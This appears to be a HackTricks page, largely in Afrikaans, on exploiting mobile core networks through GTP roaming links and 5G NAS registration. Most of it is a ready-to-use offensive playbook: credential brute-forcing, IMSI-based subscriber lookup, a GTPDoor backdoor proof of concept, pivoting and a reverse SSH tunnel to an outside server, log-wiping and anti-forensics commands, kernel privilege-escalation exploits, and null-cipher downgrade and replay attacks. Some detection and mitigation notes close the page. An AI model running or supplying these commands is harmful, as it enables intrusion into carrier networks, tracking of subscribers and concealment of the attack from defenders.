12 KiB
Raw Blame History

Telecom Network Exploitation (GTP / Roaming Environments)

{{#include ../../banners/hacktricks-training.md}}

Note

Mobiele kernprotokolle (GPRS Tunnelling Protocol GTP) gaan dikwels oor semi-vertroude GRX/IPX roaming-backbones. Omdat hulle op plain UDP met byna geen verifikasie ry nie, enige foothold binne 'n telecom-perimeter kan gewoonlik direk die kern-seinvlakke bereik. Die volgende notas versamel offensiewe truuks wat in die veld waargeneem is teen SGSN/GGSN, PGW/SGW en ander EPC-node.

1. Recon & Initial Access

1.1 Default OSS / NE Accounts

'n Verrassend groot aantal verskaffer-netwerkelemente word met hard-coded SSH/Telnet gebruikers gestuur, soos root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … 'n Gespesialiseerde woordlys verhoog dramaties brute-force sukses:

hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

As die toestel slegs 'n management VRF blootstel, pivot eers deur 'n jump host (sien afdeling «SGSN Emu Tunnel» hieronder).

1.2 Gasheerontdekking binne GRX/IPX

Die meeste GRX-operateurs laat steeds ICMP echo oor die backbone toe. Kombineer masscan met die ingeboude gtpv1 UDP probes om vinnig GTP-C listeners in kaart te bring:

masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. Enumerating Subscribers cordscan

Die volgende Go-hulpmiddel vervaardig GTP-C Create PDP Context Request pakkette en teken die antwoorde aan. Elke antwoord openbaar die huidige SGSN / MME wat die aangevraagde IMSI bedien en, soms, die abonnee se besoekte PLMN.

# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

Belangrike vlae:

  • --imsi Teikenabonnee IMSI
  • --oper Home / HNI (MCC+MNC)
  • -w Skryf rou packets na pcap

Belangrike konstantes binne die binary kan gepatch word om scans te verbreed:

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. Kode-uitvoering oor GTP GTPDoor

GTPDoor is 'n klein ELF-diens wat binds UDP 2123 and parses every incoming GTP-C packet. Wanneer die payload met 'n pre-shared tag begin, word die res ontsleuteld (AES-128-CBC) en uitgevoer via /bin/sh -c. Die stdout/stderr word exfiltrated binne Echo Response messages sodat geen uitgaande sessie ooit geskep word nie.

Minimale PoC-pakket (Python):

import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

Opsporing:

  • enige host wat unbalanced Echo Requests na SGSN IPs stuur
  • GTP version flag op 1 gestel terwyl message type = 1 (Echo) afwyking van die spesifikasie

4. Pivoting Deur die Kern

4.1 sgsnemu + SOCKS5

OsmoGGSN verskaf 'n SGSN-emulator wat in staat is om establish a PDP context towards a real GGSN/PGW. Sodra dit onderhandel is, ontvang Linux 'n nuwe tun0 koppelvlak wat vanaf die roaming peer bereikbaar is.

sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

Met behoorlike firewall hair-pinning omseiling, omseil hierdie tonnel signalling-only VLANs en beland jy direk in die data plane.

4.2 SSH Reverse Tunnel over Port 53

DNS is byna altyd oop in roaming-infrastrukture. Maak 'n interne SSH-diens bloot op jou VPS wat luister op :53 en keer later van die huis terug:

ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

Kontroleer dat GatewayPorts yes op die VPS geaktiveer is.

5. Covert Channels

Channel Transport Decoding Notes
ICMP EchoBackdoor ICMP Echo Req/Rep 4-byte key + 14-byte chunks (XOR) puur passiewe luisteraar, geen uitgaande verkeer
DNS NoDepDNS UDP 53 XOR (key = funnyAndHappy) encoded in A-record octets hou dop vir *.nodep subdomein
GTP GTPDoor UDP 2123 AES-128-CBC blob in private IE mengt met legitieme GTP-C-verkeer

Alle implants implementeer watchdogs wat timestomp hul binaries en re-spawn as hulle crashed.

6. Defense Evasion Cheatsheet

# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. Privilege Escalation op Legacy NE

# DirtyCow  CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit  CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit  CVE-2021-3156
python3 exploit_userspec.py

Skoonmaakwenk:

userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. Gereedskap

  • cordscan, GTPDoor, EchoBackdoor, NoDepDNS aangepaste gereedskap soos in vorige afdelings beskryf.
  • FScan : intranet TCP sweeps (fscan -p 22,80,443 10.0.0.0/24)
  • Responder : LLMNR/NBT-NS rogue WPAD
  • Microsocks + ProxyChains : liggewig SOCKS5 pivoting
  • FRP (≥0.37) : NAT traversal / asset bridging

9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay

Die 5G-registrasieprosedure loop oor NAS (Non-Access Stratum) bo-op NGAP. Tot NAS-sekuriteit geaktiveer word deur Security Mode Command/Complete, is aanvanklike boodskappe nie geverifieer of geïnkripteer nie. Hierdie pre-sekuriteitsvenster maak verskeie aanvalspaaie moontlik wanneer jy N2-verkeer kan waarneem of manipuleer (bv., on-path binne die core, rogue gNB, of testbed).

Registrasie-vloei (vereenvoudig):

  • Registration Request: UE stuur SUCI (geënkripteerde SUPI) en vermoëns.
  • Authentication: AMF/AUSF stuur RAND/AUTN; UE stuur RES* terug.
  • Security Mode Command/Complete: NAS-integriteit en -koderingsalgoritmes word onderhandeld en geaktiveer.
  • PDU Session Establishment: IP/QoS opstelling.

Laboratorium-opstellingswenke (non-RF):

  • Core: Open5GS standaard implementering is voldoende om vloei te reproduceer.
  • UE: simulator of toets-UE; dekodeer met Wireshark.
  • Aktiewe gereedskap: 5GReplay (capture/modify/replay NAS binne NGAP), Sni5Gect (sniff/patch/inject NAS on the fly sonder om 'n volledige rogue gNB op te sit).
  • Nuttige vertoonfilters in Wireshark:
  • ngap.procedure_code == 15 (InitialUEMessage)
  • nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)

9.1 Identiteitsprivaatheid: SUCI-foute wat SUPI/IMSI blootstel

Verwagting: UE/USIM moet SUCI stuur (SUPI geënkripteer met die home-network publieke sleutel). Om 'n plaintext SUPI/IMSI in die Registration Request te vind dui op 'n privaatheidsdefek wat volgehoue ontvangeropsporing moontlik maak.

Hoe om te toets:

  • Capture die eerste NAS-boodskap in InitialUEMessage en inspekteer die Mobile Identity IE.
  • Wireshark vinnige kontrole:
  • Dit behoort as SUCI te dekodeer, nie as IMSI nie.
  • Filtervoorbeelde: nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci behoort te bestaan; afwesigheid tesame met die teenwoordigheid van imsi dui op 'n privaatheidsdefek.

Wat om te versamel:

  • MCC/MNC/MSIN indien blootgestel; log per-UE en spoor oor tyd/liggings.

Mitigasie:

  • Dwing SUCI-only UE/USIM af; stel alarms op vir enige IMSI/SUPI in die aanvanklike NAS.

9.2 Capability bidding-down to null algorithms (EEA0/EIA0)

Agtergrond:

  • UE adverteer ondersteunde EEA (enkripsie) en EIA (integriteit) in die UE Security Capability IE van die Registration Request.
  • Algemene koppelings: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 is nul-algoritmes.

Probleem:

  • Omdat die Registration Request nie integriteitbeskerm is nie, kan 'n on-path aanvaller die vermoënbits uitvee om later tydens Security Mode Command die keuse van EEA0/EIA0 af te dwing. Sommige stacks laat ontereëlwis null-algoritmes toe buite nooddienste.

Aanvallende stappe:

  • Intercepteer InitialUEMessage en modifiseer die NAS UE Security Capability om slegs EEA0/EIA0 te adverteer.
  • Met Sni5Gect, hook die NAS-boodskap en patch die capability-bits voordat dit verder gestuur word.
  • Observeer of die AMF null ciphers/integriteit aanvaar en Security Mode met EEA0/EIA0 voltooi.

Verifikasie/ sigbaarheid:

  • In Wireshark, bevestig die geselekteerde algoritmes na Security Mode Command/Complete.
  • Voorbeeld van passiewe sniffer-uitset:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001

Mitigations (must):

  • Konfigureer AMF/policy om EEA0/EIA0 te verwerp, behalwe waar dit strikt vereis word (bv., noodoproepe).
  • Voorkeur om ten minste EEA2/EIA2 af te dwing; registreer en waarsku by enige NAS-sekuriteitskonteks wat nul-algoritmes onderhandel.

9.3 Herhaling van aanvanklike Registration Request (pre-security NAS)

Omdat die aanvanklike NAS integriteit en nuutheid ontbreek, kan 'n opgeneemde InitialUEMessage+Registration Request aan die AMF hergespeel word.

PoC rule for 5GReplay to forward matching replays:

<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">

<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>

<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>

</property>
</beginning>

Wat om op te let:

  • Of die AMF die replay aanvaar en na verifikasie voortgaan; 'n gebrek aan varsheid-/konteksvalidasie dui op blootstelling.

Mitigering:

  • Handhaaf replay protection/context binding by die AMF; pas rate-limiting toe en korreleer per-GNB/UE.

9.4 Gereedskapwenke (reproduceerbaar)

  • Open5GS: start 'n AMF/SMF/UPF om die core te emuleer; monitor N2 (NGAP) en NAS.
  • Wireshark: verifieer die dekodes van NGAP/NAS; pas die bogenoemde filters toe om Registration te isoleer.
  • 5GReplay: vang 'n registration op, en replay dan spesifieke NGAP + NAS-boodskappe soos per die reël.
  • Sni5Gect: live sniff/modify/inject NAS control-plane om null algorithms af te dwing of authentication sequences te versteur.

9.5 Verdedigingskontrolelys

  • Inspekteer aanhoudend Registration Request vir plaintext SUPI/IMSI; blokkeer oortredende devices/USIMs.
  • Weier EEA0/EIA0 behalwe vir nou omskryfde noodprosedures; vereis minstens EEA2/EIA2.
  • Ontdek rogue of verkeerd gekonfigureerde infrastruktuur: ongemagtigde gNB/AMF, onverwagte N2 peers.
  • Gee waarskuwings vir NAS security modes wat in null algorithms of gereelde replays van InitialUEMessage resulteer.

Opsporingsidees

  1. Enige toestel anders as 'n SGSN/GGSN wat Create PDP Context Requests opstel.
  2. Nie-standaard poorte (53, 80, 443) wat SSH handshakes ontvang van interne IP's.
  3. Gereelde Echo Requests sonder ooreenstemmende Echo Responses kan op GTPDoor beacons dui.
  4. Hoë koers van ICMP echo-reply verkeer met groot, nie-nul identifier/sequence velde.
  5. 5G: InitialUEMessage wat NAS Registration Requests dra wat herhaal word vanaf identiese endpoints (replay sein).
  6. 5G: NAS Security Mode wat EEA0/EIA0 onderhandel buite noodkontekste.

Verwysings

{{#include ../../banners/hacktricks-training.md}}